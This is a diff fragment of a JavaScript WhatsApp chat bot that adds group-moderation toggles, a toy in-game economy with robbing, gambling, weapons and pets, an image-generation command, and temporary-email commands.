(!isBotAdmins) return reply('ʙᴏᴛ ɴᴏᴛ ʏᴇᴛ ᴀᴅᴍɪɴ'); + if (!isAdmins) return reply('ғᴏʀ ɢʀᴏᴜᴘ ᴀᴅᴍɪɴ ᴏɴʟʏ'); +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.antilinkkick = true +await reply('SucessFully Activated Antilink-kick') +} else if (args[0] === 'off') { +global.antilinkkick = false +await reply('SucessFully Deactivated Antilink-kick.') +}} +break + + +case 'antilink-warn': { + if (!m.isGroup) return reply('ɢʀᴏᴜᴘ ᴏɴʟʏ'); + if (!isBotAdmins) return reply('ʙᴏᴛ ɴᴏᴛ ʏᴇᴛ ᴀᴅᴍɪɴ'); + if (!isAdmins) return reply('ғᴏʀ ɢʀᴏᴜᴘ ᴀᴅᴍɪɴ ᴏɴʟʏ'); +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.antilinkwarn = true +await reply('SucessFully Activated Antilink-warn to warn link senders') +} else if (args[0] === 'off') { +global.antilinkwarn = false +await reply('SucessFully Deactivated Antilink-warn.') +}} +break + + +case 'antilink-delete': { + if (!m.isGroup) return reply('ɢʀᴏᴜᴘ ᴏɴʟʏ'); + if (!isBotAdmins) return reply('ʙᴏᴛ ɴᴏᴛ ʏᴇᴛ ᴀᴅᴍɪɴ'); + if (!isAdmins) return reply('ғᴏʀ ɢʀᴏᴜᴘ ᴀᴅᴍɪɴ ᴏɴʟʏ'); +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.antilink = true +await reply('SucessFully Activated Antilink Delete') +} else if (args[0] === 'off') { +global.antilink = false +await reply('SucessFully Deactivated Antilink.') +}} +break + + + + + + + + + + + +case 'levelup': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.LEVELUP = true +await reply('SucessFully Activated Auto-Level-Up.') +} else if (args[0] === 'off') { +global.LEVELUP = false +await reply('SucessFully Deactivated Auto-Level-Up.') +}} +break + + +case 'level': { + const user = m.sender; + + // Load user data from JSON + if (!userLevels[user]) { + userLevels[user] = { xp: 0, level: 1, role: "Novice" }; // Initialize user data + saveLevels(userLevels); // Save new user data + } + + const userData = userLevels[user]; // Get user data + + // Display user stats with tagging + reply( + `🌟 *Your Stats:*\n\n` + + `👤 User: @${user.split("@")[0]}\n` + + `🔹 *Level:* ${userData.level}\n` + + `🔸 *Role:* ${userData.role}\n` + + `📊 *XP:* ${userData.xp}/${userData.level * 100} XP\n\n` + + `💬 Keep chatting to level up!`, + { mentions: [user] } + ); + break; +} + + + +function loadLevels() { + if (fs.existsSync("./david-cyril/level.json")) { + const data = fs.readFileSync("./david-cyril/level.json"); + return JSON.parse(data); + } + return {}; // Return an empty object if file doesn't exist +} + + +case 'transfer': { + const user = m.sender; // Sender + const recipient = m.mentionedJid?.[0]; // The mentioned user + const amount = parseInt(args[1]); // The amount to transfer + + // Check if recipient and amount are valid + if (!recipient || isNaN(amount) || amount <= 0) { + return reply("❌ Usage: *transfer @user *\n\nExample: *transfer @1234567890 100*"); + } + + // Initialize sender and recipient data if not present + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + if (!economy[recipient]) economy[recipient] = { wallet: 0, bank: 0 }; + + // Check if sender has enough money + if (economy[user].wallet < amount) { + return reply(`❌ @${user.split("@")[0]}, you don't have enough money in your wallet to transfer $${amount}.`, { + mentions: [user], + }); + } + + // Perform the transfer + economy[user].wallet -= amount; // Deduct from sender + economy[recipient].wallet += amount; // Add to recipient + + // Save the updated economy data + saveEconomy(economy); + + // Confirm the transaction + reply( + `✅ *Transfer Successful!*\n\n` + + `💸 @${user.split("@")[0]} transferred $${amount} to @${recipient.split("@")[0]}.\n\n` + + `📊 *Your Wallet Balance:* $${economy[user].wallet}`, + { + mentions: [user, recipient], + } + ); + break; +} + + + +case 'rob': { + const user = m.sender; + const victim = m.mentionedJid?.[0]; // Mentioned user + + if (!victim) return reply("❌ Usage: *rob @user*"); + + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + if (!economy[victim]) economy[victim] = { wallet: 0, bank: 0 }; + + if (economy[victim].wallet < 50) { + return reply(`❌ @${user.split("@")[0]}, the victim doesn't have enough money to rob.`, { + mentions: [user], + }); + } + + // Check if the victim has a guard pet + if (guardPetsData[victim] && guardPetsData[victim].length > 0) { + const guardPet = guardPetsData[victim][0]; // Use the first guard pet + const defenseChance = Math.random() * 100; + + if (defenseChance < guardPet.defense) { + // Guard pet defends successfully + const fine = Math.floor(Math.random() * economy[user].wallet * 0.3); // Robber loses up to 30% of their wallet + economy[user].wallet = Math.max(0, economy[user].wallet - fine); + saveEconomy(economy); + + return reply( + `🛡️ *Guard Pet Activated!*\n\n@${victim.split("@")[0]}'s *${guardPet.name}* defended their wallet.\n❌ @${user.split("@")[0]}, you lost $${fine} for trying to rob.`, + { mentions: [user, victim] } + ); + } + } + + const chance = Math.random(); // 50% chance to win + if (chance < 0.5) { + // Robbery successful + const stolenAmount = Math.floor(Math.random() * economy[victim].wallet * 0.5); // Steal up to 50% of victim's wallet + economy[user].wallet += stolenAmount; + economy[victim].wallet -= stolenAmount; + saveEconomy(economy); + + reply(`💰 @${user.split("@")[0]}, you successfully robbed $${stolenAmount} from @${victim.split("@")[0]}!`, { + mentions: [user, victim], + }); + } else { + // Robbery failed + const fine = Math.floor(Math.random() * economy[user].wallet * 0.3); // Robber loses up to 30% of wallet + economy[user].wallet = Math.max(0, economy[user].wallet - fine); + saveEconomy(economy); + + reply(`❌ @${user.split("@")[0]}, robbery failed! You lost $${fine}.`, { + mentions: [user], + }); + } + break; +} + + + +case 'gamble': { + const user = m.sender; + const betAmount = parseInt(args[0]); // Amount to bet + + // Validate the bet amount + if (!betAmount || isNaN(betAmount) || betAmount <= 0) { + return reply("❌ Usage: *gamble *\n\nExample: *gamble 100*"); + } + + // Initialize user data if not present + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + + // Check if the user has enough money in their wallet + if (economy[user].wallet < betAmount) { + return reply(`❌ @${user.split("@")[0]}, you don't have enough money in your wallet to bet $${betAmount}.`, { + mentions: [user], + }); + } + + // 50/50 chance to win or lose + const win = Math.random() < 0.5; // True for win, False for lose + + if (win) { + // Winning: Double the bet amount + const winnings = betAmount * 2; + economy[user].wallet += winnings; // Add winnings to wallet + saveEconomy(economy); + + reply(`🎉 *You Win!*\n\n@${user.split("@")[0]}, you bet $${betAmount} and won $${winnings}!\n\n💰 *Wallet Balance:* $${economy[user].wallet}`, { + mentions: [user], + }); + } else { + // Losing: Deduct the bet amount + economy[user].wallet -= betAmount; // Deduct bet from wallet + saveEconomy(economy); + + reply(`😢 *You Lose!*\n\n@${user.split("@")[0]}, you bet $${betAmount} and lost it all.\n\n💰 *Wallet Balance:* $${economy[user].wallet}`, { + mentions: [user], + }); + } + break; +} + +case 'shop': { + const items = [ + { name: "Golden Badge", price: 100 }, + { name: "VIP Access", price: 500 }, + { name: "Exclusive Sticker", price: 200 }, + ]; + + const shopList = items + .map((item, index) => `${index + 1}. ${item.name} - $${item.price}`) + .join("\n"); + + reply(`🛒 *Shop Items:*\n\n${shopList}\n\nUse *buy * to purchase an item.`); + break; +} + + + + + +case 'lottery': { + reply(`🎟️ *Lottery Info:*\n\n💰 Pot: $${lotteryPot}\n🧑‍🤝‍🧑 Participants: ${lotteryParticipants.length}\n\nUse *buyticket* to enter the lottery!`); + break; +} + +case 'buyticket': { + const ticketPrice = 100; + const user = m.sender; + + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + if (economy[user].wallet < ticketPrice) { + return reply(`❌ @${user.split("@")[0]}, you need $${ticketPrice} to buy a lottery ticket.`, { + mentions: [user], + }); + } + + economy[user].wallet -= ticketPrice; + lotteryPot += ticketPrice; + lotteryParticipants.push(user); + saveEconomy(economy); + + reply(`✅ @${user.split("@")[0]}, you entered the lottery!\n\n💰 *Wallet Balance:* $${economy[user].wallet}`, { + mentions: [user], + }); + break; +} + + + + +case 'buy': { + const itemIndex = parseInt(args[0]) - 1; + const items = [ + { name: "Golden Badge", price: 100 }, + { name: "VIP Access", price: 500 }, + { name: "Exclusive Sticker", price: 200 }, + ]; + + if (isNaN(itemIndex) || itemIndex < 0 || itemIndex >= items.length) { + return reply("❌ Invalid item number. Use the *shop* command to see available items."); + } + + const user = m.sender; + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + + const selectedItem = items[itemIndex]; + if (economy[user].wallet < selectedItem.price) { + return reply(`❌ @${user.split("@")[0]}, you don't have enough money to buy ${selectedItem.name}.`, { + mentions: [user], + }); + } + + economy[user].wallet -= selectedItem.price; + saveEconomy(economy); + + reply(`✅ @${user.split("@")[0]}, you purchased *${selectedItem.name}* for $${selectedItem.price}!\n\n💰 *Wallet Balance:* $${economy[user].wallet}`, { + mentions: [user], + }); + break; +} + + +case 'shop': { + const items = [ + { name: "Golden Badge", price: 100 }, + { name: "VIP Access", price: 500 }, + { name: "Exclusive Sticker", price: 200 }, + ]; + + const shopList = items + .map((item, index) => `${index + 1}. ${item.name} - $${item.price}`) + .join("\n"); + + reply(`🛒 *Shop Items:*\n\n${shopList}\n\nUse *buy * to purchase an item.`); + break; +} + +case 'buy': { + const itemIndex = parseInt(args[0]) - 1; + const items = [ + { name: "Golden Badge", price: 100 }, + { name: "VIP Access", price: 500 }, + { name: "Exclusive Sticker", price: 200 }, + ]; + + if (isNaN(itemIndex) || itemIndex < 0 || itemIndex >= items.length) { + return reply("❌ Invalid item number. Use the *shop* command to see available items."); + } + + const user = m.sender; + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + + const selectedItem = items[itemIndex]; + if (economy[user].wallet < selectedItem.price) { + return reply(`❌ @${user.split("@")[0]}, you don't have enough money to buy ${selectedItem.name}.`, { + mentions: [user], + }); + } + + economy[user].wallet -= selectedItem.price; + saveEconomy(economy); + + reply(`✅ @${user.split("@")[0]}, you purchased *${selectedItem.name}* for $${selectedItem.price}!\n\n💰 *Wallet Balance:* $${economy[user].wallet}`, { + mentions: [user], + }); + break; +} + + + + + +case 'autorecording': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.autoRecord = true +await reply('SucessFully Activated Autorecording.') +} else if (args[0] === 'off') { +global.autoRecord = false +await reply('SucessFully Deactivated Autorecording.') +}} +break + + +case 'anticall': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.ANTICALL = true +await reply('SucessFully Activated Anticall.') +} else if (args[0] === 'off') { +global.ANTICALL = false +await reply('SucessFully Deactivated Anticall.') +}} +break + + +case 'welcome': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.WELCOME = true +await reply('SucessFully Activated Welcome & GoodBye Message.') +} else if (args[0] === 'off') { +global.WELCOME = false +await reply('SucessFully Deactivated Welcome & GoodBye Message.') +}} +break + + + + + + + +case 'antidelete': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.ANTIDELETE = true +await reply('SucessFully Activated Anti-Delete.') +} else if (args[0] === 'off') { +global.ANTIDELETE = false +await reply('SucessFully Deactivated Anti-Delete.') +}} +break + + + + + + + + + + + + + +case 'autotyping': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.autoTyping = true +await reply('SucessFully Activated AutoTyping.') +} else if (args[0] === 'off') { +global.autoTyping = false +await reply('SucessFully Deactivated AutoTyping.') +}} +break + +case 'autoreact': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.autoreact = true +await reply('SucessFully Activated AutoReact.') +} else if (args[0] === 'off') { +global.autoreact = false +await reply('SucessFully Deactivated AutoReact.') +}} +break + + +case 'alwaysonline': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.available = true +await reply('SucessFully Activated Alwaysonline.') +} else if (args[0] === 'off') { +global.available = false +await reply('SucessFully Deactivated Alwaysonline.') +}} +break + + + + +case 'wallet': { + const user = m.sender; + + // Initialize the user data if not present + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; // Default wallet and bank balance + saveEconomy(economy); + + // Display the wallet balance with tagging + reply(`💰 *Wallet Balance:*\n@${user.split("@")[0]}, you have $${economy[user].wallet} in your wallet.`, { + mentions: [user], + }); + break; +} + + + +case 'bank': { + const user = m.sender; + + // Initialize the user data if not present + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; // Default wallet and bank balance + saveEconomy(economy); + + // Display the bank balance with tagging + reply(`🏦 *Bank Balance:*\n@${user.split("@")[0]}, you have $${economy[user].bank} in your bank.`, { + mentions: [user], + }); + break; +} + + +case 'daily': { + const user = m.sender; + + // Initialize user data if not present + if (!economy[user]) { + economy[user] = { wallet: 0, bank: 0, lastDaily: 0 }; + } + + const now = Date.now(); + + // Check if the user has already claimed the daily reward within 24 hours + if (now - economy[user].lastDaily < 24 * 60 * 60 * 1000) { + const remaining = 24 * 60 * 60 * 1000 - (now - economy[user].lastDaily); + const hours = Math.floor(remaining / (60 * 60 * 1000)); + const minutes = Math.floor((remaining % (60 * 60 * 1000)) / (60 * 1000)); + return reply(`⏳ @${user.split("@")[0]}, you've already claimed your daily reward. Try again in ${hours}h ${minutes}m.`, { + mentions: [user], + }); + } + + // Generate a random daily reward (100 to 600) + const reward = Math.floor(Math.random() * 500) + 100; + + // Add the reward to the user's wallet and update the lastDaily timestamp + economy[user].wallet += reward; + economy[user].lastDaily = now; + + // Save updated economy data + saveEconomy(economy); + + // Notify the user of their updated balance + reply(`🎁 *Daily Reward:*\n@${user.split("@")[0]}, you received $${reward}!\n\n💰 Wallet Balance: $${economy[user].wallet}`, { + mentions: [user], + }); + break; +} + + +case 'attack': { + const user = m.sender; + const victim = m.mentionedJid?.[0]; + const weaponIndex = parseInt(args[1]) - 1; + + if (!victim || isNaN(weaponIndex)) { + return reply("❌ Usage: *attack @user *\n\nExample: *attack @1234567890 1*"); + } + + if (!guardPetsData[victim] || guardPetsData[victim].length === 0) { + return reply(`❌ @${victim.split("@")[0]} doesn't have any guards to attack.`, { + mentions: [victim], + }); + } + + if (!weaponsData[user] || weaponIndex < 0 || weaponIndex >= weaponsData[user].length) { + return reply(`❌ @${user.split("@")[0]}, you don't have the selected weapon. Use *myweapons* to see your weapons.`, { + mentions: [user], + }); + } + + const weapon = weaponsData[user][weaponIndex]; + const guardPet = guardPetsData[victim][0]; // Target the first guard pet + const attackChance = weapon.power - guardPet.defense + Math.random() * 50; // Dynamic chance calculation + + if (attackChance > 50) { + // Attack successful + guardPetsData[victim].shift(); // Remove the guard pet + weaponsData[user].splice(weaponIndex, 1); // Weapon is used up + saveWeapons(weaponsData); + saveGuardPets(guardPetsData); + + reply( + `💥 @${user.split("@")[0]}, your *${weapon.name}* successfully killed @${victim.split("@")[0]}'s *${guardPet.name}*!\n\n🔫 Weapon Used: *${weapon.name}*`, + { mentions: [user, victim] } + ); + } else { + // Attack failed + weaponsData[user].splice(weaponIndex, 1); // Weapon is used up + saveWeapons(weaponsData); + + reply( + `❌ @${user.split("@")[0]}, your attack on @${victim.split("@")[0]}'s *${guardPet.name}* failed.\n🔫 Weapon Used: *${weapon.name}*`, + { mentions: [user, victim] } + ); + } + break; +} + + +case 'buyweapon': { + const user = m.sender; + const weapons = [ + { name: "Knife", price: 200000, power: 25 }, + { name: "Pistol", price: 500000, power: 50 }, + { name: "Shotgun", price: 1000000, power: 75 }, + { name: "RPG", price: 2500000, power: 100 } + ]; + + const shopList = weapons.map((weapon, index) => `${index + 1}. ${weapon.name} - $${weapon.price}`).join("\n"); + + if (!args[0]) { + return reply( + `🔫 *Weapons Shop:*\n\n${shopList}\n\nUse *buyweapon * to purchase a weapon.\nExample: *buyweapon 3*` + ); + } + + const weaponIndex = parseInt(args[0]) - 1; + if (isNaN(weaponIndex) || weaponIndex < 0 || weaponIndex >= weapons.length) { + return reply("❌ Invalid option. Use *buyweapon* to see available weapons."); + } + + const selectedWeapon = weapons[weaponIndex]; + + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + if (economy[user].wallet < selectedWeapon.price) { + return reply(`❌ @${user.split("@")[0]}, you don't have enough money to buy ${selectedWeapon.name}.`, { + mentions: [user], + }); + } + + if (!weaponsData[user]) weaponsData[user] = []; + weaponsData[user].push({ name: selectedWeapon.name, power: selectedWeapon.power }); + + economy[user].wallet -= selectedWeapon.price; + saveEconomy(economy); + saveWeapons(weaponsData); + + reply( + `✅ @${user.split("@")[0]}, you purchased a *${selectedWeapon.name}* for $${selectedWeapon.price}!\n\n💰 *Wallet Balance:* $${economy[user].wallet}`, + { mentions: [user] } + ); + break; +} + + +case 'withdraw': { + const user = m.sender; + const amount = parseInt(args[0]); + + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + const bankBalance = economy[user].bank; + + if (!amount || isNaN(amount) || amount <= 0) { + return reply(`❌ Usage: *withdraw *\n\nExample: *withdraw 50000*`); + } + + if (bankBalance < amount) { + return reply(`❌ @${user.split("@")[0]}, you don't have $${amount} in your bank to withdraw.\n\n🏦 *Bank Balance:* $${bankBalance}`, { + mentions: [user], + }); + } + + // Notify the user of withdrawal + reply(`⏳ @${user.split("@")[0]}, withdrawing $${amount} from your bank, please wait...`, { + mentions: [user], + }); + + // Delay before transferring the money + setTimeout(() => { + economy[user].wallet += amount; + economy[user].bank -= amount; + saveEconomy(economy); + + reply(`✅ @${user.split("@")[0]}, you successfully withdrew $${amount} from your bank account.\n\n💰 *Wallet Balance:* $${economy[user].wallet}\n🏦 *Bank Balance:* $${economy[user].bank}`, { + mentions: [user], + }); + }, 3000); // 3-second delay for realism + break; +} + + + + +case 'deposit': { + const user = m.sender; + + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + const walletBalance = economy[user].wallet; + + if (walletBalance <= 0) { + return reply(`❌ @${user.split("@")[0]}, you don't have any money in your wallet to deposit.`, { + mentions: [user], + }); + } + + // Move all wallet money to the bank + economy[user].bank += walletBalance; + economy[user].wallet = 0; + saveEconomy(economy); + + reply(`🏦 @${user.split("@")[0]}, you successfully deposited $${walletBalance} into your bank account.\n\n💰 *Wallet Balance:* $${economy[user].wallet}\n🏦 *Bank Balance:* $${economy[user].bank}`, { + mentions: [user], + }); + break; +} + + + + +case 'myweapons': { + const user = m.sender; + + if (!weaponsData[user] || weaponsData[user].length === 0) { + return reply(`❌ @${user.split("@")[0]}, you don't have any weapons. Use *buyweapon* to get one!`, { + mentions: [user], + }); + } + + const userWeapons = weaponsData[user] + .map((weapon, index) => `${index + 1}. *${weapon.name}* - Power: ${weapon.power}`) + .join("\n"); + + reply(`🔫 *Your Weapons:*\n\n${userWeapons}`, { mentions: [user] }); + break; +} + + + +case 'leaderboard': { + // Sort users by level and XP + const sortedUsers = Object.entries(userLevels) + .sort(([, a], [, b]) => b.level - a.level || b.xp - a.xp) + .slice(0, 5); // Get the top 5 users + + if (sortedUsers.length === 0) { + return reply("🏆 No users found on the leaderboard yet. Start chatting to get ranked!"); + } + + // Generate leaderboard message + const leaderboard = sortedUsers + .map( + ([id, data], index) => + `${index + 1}. @${id.split("@")[0]} - Level ${data.level} (${data.role}), ${data.xp}/${data.level * 100} XP` + ) + .join("\n"); + + reply(`🏆 *Leaderboard:*\n\n${leaderboard}`, { + mentions: sortedUsers.map(([id]) => id), + }); + break; +} + +case 'buyguard': { + const user = m.sender; + const guardPets = [ + { name: "Dog", price: 100000, defense: 50 }, + { name: "Eagle", price: 200000, defense: 75 }, + { name: "Dragon", price: 500000, defense: 100 }, + { name: "Security Bot", price: 1000000, defense: 150 }, + { name: "Armed Guards", price: 2000000, defense: 200 } + ]; + + const shopList = guardPets.map((pet, index) => `${index + 1}. ${pet.name} - $${pet.price}`).join("\n"); + + if (!args[0]) { + return reply( + `🛡️ *Guard Pet Shop:*\n\n${shopList}\n\nUse *buyguard * to purchase a guard.\nExample: *buyguard 3*` + ); + } + + const petIndex = parseInt(args[0]) - 1; + if (isNaN(petIndex) || petIndex < 0 || petIndex >= guardPets.length) { + return reply("❌ Invalid option. Use *buyguard* to see available guards."); + } + + const selectedPet = guardPets[petIndex]; + + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + if (economy[user].wallet < selectedPet.price) { + return reply(`❌ @${user.split("@")[0]}, you don't have enough money to buy ${selectedPet.name}.`, { + mentions: [user], + }); + } + + // Replace the current guard pet with the new one + guardPetsData[user] = [{ name: selectedPet.name, defense: selectedPet.defense }]; + + economy[user].wallet -= selectedPet.price; + saveEconomy(economy); + saveGuardPets(guardPetsData); + + reply( + `✅ @${user.split("@")[0]}, you purchased *${selectedPet.name}* for $${selectedPet.price}!\n\n💰 *Wallet Balance:* $${economy[user].wallet}*`, + { mentions: [user] } + ); + break; +} + + + + + + +case 'buypet': { + const user = m.sender; + const petTypes = [ + { name: "Cat", price: 300, strength: 10 }, + { name: "Dog", price: 500, strength: 20 }, + { name: "Dragon", price: 1000, strength: 50 }, + ]; + + const petShop = petTypes.map((pet, index) => `${index + 1}. ${pet.name} - $${pet.price}`).join("\n"); + + if (!args[0]) { + return reply( + `🛒 *Pet Shop:*\n\n${petShop}\n\nUse *buypet * to buy a pet.\nExample: *buypet 2*` + ); + } + + const petIndex = parseInt(args[0]) - 1; + if (isNaN(petIndex) || petIndex < 0 || petIndex >= petTypes.length) { + return reply("❌ Invalid pet number. Use the *buypet* command to see available pets."); + } + + const selectedPet = petTypes[petIndex]; + + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + if (economy[user].wallet < selectedPet.price) { + return reply(`❌ @${user.split("@")[0]}, you don't have enough money to buy ${selectedPet.name}.`, { + mentions: [user], + }); + } + + if (!pets[user]) pets[user] = []; + pets[user].push({ name: selectedPet.name, level: 1, strength: selectedPet.strength }); + + economy[user].wallet -= selectedPet.price; + saveEconomy(economy); + savePets(pets); + + reply( + `✅ @${user.split("@")[0]}, you purchased a *${selectedPet.name}* for $${selectedPet.price}!\n\n💰 *Wallet Balance:* $${economy[user].wallet}`, + { mentions: [user] } + ); + break; +} + +case 'mypet': { + const user = m.sender; + + if (!pets[user] || pets[user].length === 0) { + return reply(`❌ @${user.split("@")[0]}, you don't have any pets. Use *buypet* to get one!`, { + mentions: [user], + }); + } + + const userPets = pets[user] + .map( + (pet, index) => + `${index + 1}. *${pet.name}* - Level ${pet.level}, Strength ${pet.strength}` + ) + .join("\n"); + + reply(`🐾 *Your Pets:*\n\n${userPets}`, { mentions: [user] }); + break; +} + + +case 'train': { + const user = m.sender; + + if (!pets[user] || pets[user].length === 0) { + return reply(`❌ @${user.split("@")[0]}, you don't have any pets. Use *buypet* to get one!`, { + mentions: [user], + }); + } + + const petIndex = parseInt(args[0]) - 1; + if (isNaN(petIndex) || petIndex < 0 || petIndex >= pets[user].length) { + return reply(`❌ Invalid pet number. Use *mypet* to see your pets.`); + } + + const selectedPet = pets[user][petIndex]; + const trainingCost = selectedPet.level * 50; + + if (!economy[user]) economy[user] = { wallet: 0, bank: 0 }; + if (economy[user].wallet < trainingCost) { + return reply( + `❌ @${user.split("@")[0]}, you need $${trainingCost} to train your pet (${selectedPet.name}).`, + { mentions: [user] } + ); + } + + economy[user].wallet -= trainingCost; + selectedPet.level++; + selectedPet.strength += 5; // Increase strength per level + saveEconomy(economy); + savePets(pets); + + reply( + `🎉 @${user.split("@")[0]}, your *${selectedPet.name}* leveled up to Level ${selectedPet.level}!\n💪 Strength increased to ${selectedPet.strength}.\n\n💰 *Wallet Balance:* $${economy[user].wallet}`, + { mentions: [user] } + ); + break; +} + + + +case 'battle': { + const opponent = m.mentionedJid?.[0]; + const user = m.sender; + + if (!opponent || opponent === user) { + return reply("❌ Usage: *battle @user*"); + } + + if (!pets[user] || pets[user].length === 0) { + return reply(`❌ @${user.split("@")[0]}, you don't have any pets. Use *buypet* to get one!`, { + mentions: [user], + }); + } + + if (!pets[opponent] || pets[opponent].length === 0) { + return reply(`❌ @${opponent.split("@")[0]} doesn't have any pets to battle!`, { + mentions: [opponent], + }); + } + + const userPet = pets[user][0]; // Use the first pet for now + const opponentPet = pets[opponent][0]; // Use the first pet for now + + const userScore = userPet.level + userPet.strength + Math.random() * 10; + const opponentScore = opponentPet.level + opponentPet.strength + Math.random() * 10; + + if (userScore > opponentScore) { + reply( + `🏆 *Battle Result:*\n\n🎉 @${user.split("@")[0]}'s *${userPet.name}* defeated @${opponent.split("@")[0]}'s *${opponentPet.name}*!`, + { mentions: [user, opponent] } + ); + } else { + reply( + `🏆 *Battle Result:*\n\n🎉 @${opponent.split("@")[0]}'s *${opponentPet.name}* defeated @${user.split("@")[0]}'s *${userPet.name}*!`, + { mentions: [user, opponent] } + ); + } + break; +} + + + + + +case 'unavailable': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.unavailable = true +await reply('SucessFully Activated Unavailable') +} else if (args[0] === 'off') { +global.unavailable = false +await reply('SucessFully Deactivated Unavailable.') +}} +break + +case 'autoread': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.autoreadmessages = true +await reply('SucessFully Activated Autoread') +} else if (args[0] === 'off') { +global.autoreadmessages = false +await reply('SucessFully Deactivated Autoread.') +}} +break + + +// Temporary Email Feature + + + + + + + + + + + + + +case 'kisahnabi': { +if (!text) return reply("nama nabinya?") +let url = await fetch(`https://raw.githubusercontent.com/ZeroChanBot/Api-Freee/a9da6483809a1fbf164cdf1dfbfc6a17f2814577/data/kisahNabi/${text}.json`) + let kisah = await url.json().catch(_ => "Error") + if (kisah == "Error") return reply("*Not Found*\n*Try Not to Use Capital Letters*") + + let hasil = `_*Name of the Prophet :*_ ${kisah.name} +_*Date of birth :*_ ${kisah.thn_kelahiran} +_*Place of birth :*_ ${kisah.tmp} +_*Age :*_ ${kisah.usia} + +* — [ K I S A H ] — * + +${kisah.description}` + + reply(hasil) +} +break + + case 'prodia': { +if (!q) return m.reply(`query?`) + async function prodia(query) { + const headers = { // wm avz + 'user-agent': 'Mozilla/5.0 (Linux; Android 11; Avosky) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Mobile Safari/537.36' + }; + try { // wm avz + const AvoskyX = await axios.get('https://api.prodia.com/generate', { + params: { + "new": "true", + "prompt": query, + "model": "dreamshaper_6BakedVae.safetensors [114c8abb]", + "steps": "50", + "cfg": "9.5", + "seed": Math.floor(Math.random() * 10000) + 1, + "sampler": "Euler", + "aspect_ratio": "square" + }, // wm avz + headers, + timeout: 30000 + }); + const avos = AvoskyX.data; + let AvoskyNih; + do { + const syra = await axios.get(`https://api.prodia.com/job/${avos.job}`, { headers }); + AvoskyNih = syra.data; + } while (AvoskyNih.status !== 'succeeded'); + const imageUrl = `https://images.prodia.xyz/${avos.job}.png?download=1`; + David.sendMessage(m.chat, { image: { url: imageUrl }, caption: '_donee_.' }); + } catch (error) { + m.reply('Errorl'); + } + } + prodia(`${q}`); +} +// wm avz +break + + + + + +// Create Temporary Email +case "tempmail": +case "tmpmail": +case "newmail": { + if (!tempMailData[m.sender]) { + try { + // Generate a random email using 1SecMail API + const response = await axios.get('https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=1'); + const data = response.data[0]; + + if (!data) { + return reply("Failed to generate a temporary email. Please try again."); + } + + // Save the generated email and session ID for the user + tempMailData[m.sender] = { email: data, id: data.sid }; + reply(`*Temporary Email Created:*\n\n📧 Email: ${data}\n\nUse *${prefix}checkmail* to check your inbox.\nUse *${prefix}delmail* to delete your email.`); + } catch (error) { + console.error(error); + reply("An error occurred while creating a temporary email. Please try again."); + } + } else { + reply(`You already have a temporary email:\n\n📧 Email: ${tempMailData[m.sender].email}\n\nUse *${prefix}checkmail* to check your inbox.`); + } + break; +} + +// Check Emails +case "checkmails": +case "readmail": +case "reademail": { + const userMail = tempMailData[m.sender]; + if (!userMail) { + return reply(`You don't have a temporary email. Use *${prefix}tempmail* to create one.`); + } + + try { + // Get the list of emails in the inbox using the 1SecMail API + const login = userMail.email.split('@')[0]; + const domain = userMail.email.split('@')[1]; + const response = await axios.get(`https://www.1secmail.com/api/v1/?action=getMessages&login=${login}&domain=${domain}`); + + const inbox = response.data; + if (!inbox || inbox.length === 0) { + return reply(`*EMPTY ➪ No mails received yet!* \nUse *${prefix}delmail* to delete mail!`); + } + + let messageList = "*📩 Your Emails:*\n\n"; + for (const email of inbox) { + messageList += `*📧 From:* ${email.from}\n*🗓️ Date:* ${email.date}\n*✉️ Subject:* ${email.subject}\n*🔑 ID:* ${email.id}\n\n`; + } + reply(messageList.trim()); + } catch (error) { + console.error(error); + reply("An error occurred while checking emails. Please try again."); + } + break; +} + +// Delete Temporary Email +case "delmail": +case "deletemail": +case "deltemp": +case "deltmp": { + const userMail = tempMailData[m.sender]; + if (userMail) { + try { + // Delete the temporary email using the 1SecMail API + const login = userMail.email.split('@')[0]; + const domain = userMail.email.split('@')[1]; + const response = await axios.get(`https://www.1secmail.com/api/v1/?action=deleteMailbox&login=${login}&domain=${domain}`); + + // Check the API response for success + if (response.data.result === 'success') { + delete tempMailData[m.sender]; // Remove the email from local storage + 